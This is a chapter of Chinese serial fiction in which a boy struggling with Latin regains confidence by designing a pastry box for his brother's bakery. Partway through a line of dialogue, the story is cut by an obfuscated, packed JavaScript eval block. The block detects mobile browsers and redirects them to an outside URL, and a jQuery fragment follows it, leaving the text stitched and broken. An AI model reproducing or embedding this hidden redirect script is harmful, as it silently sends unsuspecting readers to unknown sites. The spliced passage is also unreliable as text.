圣诞与新年的热烈喧嚣，如同炉膛里最旺的那簇火，渐渐平息下来。
格洛斯特街覆着一层薄雪的屋顶在苍白冬日下闪着细碎的光，时光甜点屋的日常节奏也回归了那种忙碌而有序的平静。
然而，在这份平静之下，米勒家十一岁的次子阿尔菲，却独自陷入了一场无人知晓的暴风雪中。
此刻，他正坐在餐厅的桌子旁，面前摊开着一本拉丁文语法书，那些扭曲的字母和繁复的变格规则像一团纠缠不清的迷雾，将他紧紧包裹。
窗外的光线映照着他紧蹙的眉头和咬得发白的下唇。旁边的草稿纸上，涂满了反复演算却又被狠狠划掉的笔迹。
父亲亚瑟对他的学业一向抱有期待，尤其是拉丁文和数学这类“奠定绅士学识根基”的科目。
阿尔菲平日里也算得上聪慧努力，可最近这复杂的语法时态和冗长的文献翻译，却像一道无法逾越的高墙，横亘在他面前。一种混合着挫败、焦虑和自我怀疑的情绪，像冰冷的潮水，一点点淹没这个向来以“小大人”自居的男孩。
厨房里飘来西奥多烤制新一轮姜饼的温暖香气，混合着肉桂与糖蜜的甜暖，这本该令人安心愉悦的气息，此刻却让阿尔菲更加烦躁。
他觉得那香气属于西奥多那个明亮、成功、充满创造力的世界，而他自己，则被困在冰冷、枯燥、毫无生气的文字迷宫里。
“怎么了，阿尔菲？”西奥多的声音从厨房门口传来，他刚解下围裙，手里端着一小碟烤坏的、形状不规则的姜饼边角料，这是家人常享的小零嘴。他敏锐地察觉到弟弟周身笼罩的低气压。
阿尔菲猛地抬起头，像只受惊的小兽，随即又飞快地垂下眼帘，用胳膊盖住满是涂鸦的草稿纸。“没什么，”他声音闷闷的，“只是……只是有些题目太难了。”
西奥多没有追问，他将碟子放在桌上，在阿尔菲身边坐下，拿起一块焦香的饼边慢慢吃着。
他的目光扫过那本令人望而生畏的拉丁文语法书，又落到阿尔菲因用力而指节发白的手上。他想起自己曾在父亲的书房里，面对那些复杂的政策报告时，也有过类似的无力感。
“有时候，换换脑子可能会更好。”西奥多温和地说，声音像厨房里弥漫的热气一样熨帖，“我正好遇到个难题，或许你能帮我看看？”
阿尔菲疑惑地抬起头。
西奥多笑了笑，从身后拿出一个普通的、未经装饰的点心盒。
“巴斯顿太太下周末要举办一场小型的读书会，哈德森太太向她极力推荐了我们的点心，这是笔不错的订单。但我在想，既然是读书会，或许包装上应该更特别一些，而不是用这些现成的、印着店铺标志的普通盒子。”他指了指那个朴素的纸盒，
“我试想了几个方案，但都觉得不太满意。阿尔菲，你一向对结构和布局很有想法，能帮我设计一下吗？比如，如何用最简洁优雅的方式，体现出‘阅读’与‘甜蜜’的结合？”
阿尔菲愣住了。哥哥从未如此正式地向他求助过，而且还是关于店铺的“商业难题”。一股微弱的、被需要的感觉，像细小的火苗，在他冰封的心湖上跳跃了一下。
他犹豫地看了看那本拉丁文语法书，又看了看哥哥手中那个等待被赋予意义的空白盒子。
最终，他轻轻合上了语法书，仿佛也暂时关上了那扇令他困扰的门。“我……我可以试试看。”他小声说，接过了那个盒子。
接下来的两天，阿尔菲的生活重心发生了微妙的变化。拉丁文语法书依然摆在桌上，但旁边多了一叠白纸、一支绘图铅笔和几本西奥多从哈德森太太那里借来的、带有精美插画的旧书。
他不再一味地死记硬背，而是在思考包装设计的间隙，偶尔瞥一眼那些拉丁文词汇，心态竟平和了许多。
他观察莉莉画作里的流畅线条，研究家里藏书扉页上的古典花纹，甚至跑到客厅，仔细端详那个弧形玻璃柜台的曲线。他试图捕捉那种能让眼睛感到舒适、让心灵感到愉悦的比例与秩序。
他先是设计了一个方案：在盒子中央画一本摊开的书，书页上飘出音符般的糖霜花纹。画完后他自己端详了半天，小眉头又皱了起来——太复杂了，制作起来麻烦，而且显得有点幼稚。
他沮丧地几乎要放弃，又把拉丁文书拉回面前，可那些字母仿佛在嘲笑他两边都做不好。
这时，他无意中瞥见西奥多记账本上那一行行清晰工整的数字和备注，那种条分缕析的秩序感忽然给了他灵感。
他重新抽出一张纸，不再追求繁复的图画。他用尺规和铅笔，在盒盖的左上角，勾勒出一个简洁优雅的菱形徽标框架。
在框架内部，他用极其精细的笔触，画了一支斜倚着的羽毛笔，笔尖巧妙地融化，滴落下一滴墨迹，而那墨迹在落下时，竟幻化成了一颗饱满的、闪着微光的浆果。
线条简洁，寓意却无比清晰——文字与思想，最终化为了可品尝的甜美。
他在徽标下方，用他所能写出的最工整的字体，描摹出“时光甜点屋?阅读专属”的字样。整个设计没有任何冗余的装饰，却充满了书香与点心交融的静好气息。
他拿着这张草图，心脏怦怦直跳，找到正在检查面粉库存的西奥多。
西奥多接过图纸，仔细端详了许久，久到阿尔菲几乎要以为他失望了。终于，西奥多抬起头，眼中闪烁着毫不掩饰的惊叹。“阿尔菲，”他的语气充满了真诚，“这太棒了！比我预想的任何方案都要好！简洁、高雅，又充满巧思。巴斯顿太太和她的朋友们一定会喜欢的。”
他立刻行动起来，带着草图去找了相熟的印刷作坊。几天后，几十个按照阿尔菲设计印制的专属点心盒送到了店里。
那支羽毛笔与浆果的徽标，印在质感良好的米白色纸盒上，显得格外别致。
读书会当天，西奥多将精心制作的点心装入这些特制的盒子，由巴斯顿家的仆人取走。阿尔菲一整天都有些心神不宁，既期待又害怕听到反馈，连拉丁文动词变位都抄错了好几行。
傍晚，巴斯顿太太亲自来到了店里。她今天的气色格外好，脸上带着愉悦的笑容。
“亲爱的米勒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532203|186397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
先生，”她对西奥多说，“今天的点心一如既往的美味，赢得了我所有朋友的交口称赞。不过，”她话锋一转，从她的手袋里拿出了那个空了的、但依旧平整的点心盒，轻轻放在柜台上，“这个盒子，才是今天真正的焦点所在。”
她的目光落在站在西奥多身旁，努力装作平静却掩不住紧张的阿尔菲身上。“哈德森太太告诉我，这个精妙的设计出自我们的小阿尔菲之手？是真的吗？”
阿尔菲的脸瞬间红了，他点了点头，喉咙发紧，说不出话。
“真是令人惊叹的才华！”巴斯顿太太由衷地赞叹，“它完美地捕捉到了读书会的精髓——思想的盛宴与感官的愉悦相结合。我的几位朋友都追问我在哪里定制的，她们也想为自家的沙龙定制类似的包装。阿尔菲，你是个真正的艺术家，拥有对美和秩序的独特感知力。”
这番直接而热烈的赞扬，像一道温暖的阳光，彻底驱散了盘踞在阿尔菲心头多日的阴霾。
他感到一种前所未有的、坚实的成就感，这感觉与解开一道数学题或是翻译出一句拉丁文完全不同。这是一种他的创造被看见、被理解、被珍视的喜悦。
送走巴斯顿太太后，西奥多拍了拍弟弟依然有些发烫的脸颊，笑着说：“看来，我们店里有一位首席设计师了。以后所有特别订单的包装设计，可就交给你了，阿尔菲‘先生’。”
这天晚上，阿尔菲再次坐在餐厅的桌前。那本拉丁文语法书还在老地方。他深吸一口气，翻开了它。奇怪的是，那些原本如同天书的字母和规则，似乎不再那么面目可憎。
它们依然复杂，却不再是无法逾越的高墙。因为他知道，在世界的另一个维度，他拥有一种独特的能力，可以创造出被他人赞赏的美好事物。这种认知，给了他面对困难的底气和平静。
他甚至拿起笔，在语法书的扉页空白处，下意识地画了一个微缩版的羽毛笔与浆果徽标。
父亲亚瑟深夜从俱乐部归来，经过餐厅时，看到的是小儿子在灯下专注学习的背影。他满意地点点头，正准备离开，目光却被阿尔菲手边一张废弃的草稿纸吸引了过去。
纸上画着那个最终版的徽标设计雏形，旁边还有密密麻麻的、关于比例和结构的计算笔记。
亚瑟静静地看了一会儿，严肃的脸上看不出什么表情。但他回到书房后，并没有立刻投入工作，而是站在窗前，望着外面沉静的夜色，手指无意识地轻轻敲打着窗棂。许久，他那惯常紧抿的嘴角，几不可察地向上牵动了一下。
而在楼下的店铺里，西奥多正在最后的盘点。他在账本上新开辟了一栏：“特别包装设计费”。在巴斯顿太太的订单下，他工整地记录了这一项收入，并在备注里，用他特有的、带着温度的文字写道：“阿尔菲的设计，其价值远超于此。”
他合上账本，吹灭了柜台上的蜡烛。店铺陷入黑暗，只有窗外街角的煤气灯，将朦胧的光晕透过巨大的玻璃窗，温柔地洒落在那个米白色的、印着羽毛笔与浆果的空点盒上，仿佛为一个少年刚刚寻获的自信，举行了一场无声的加冕。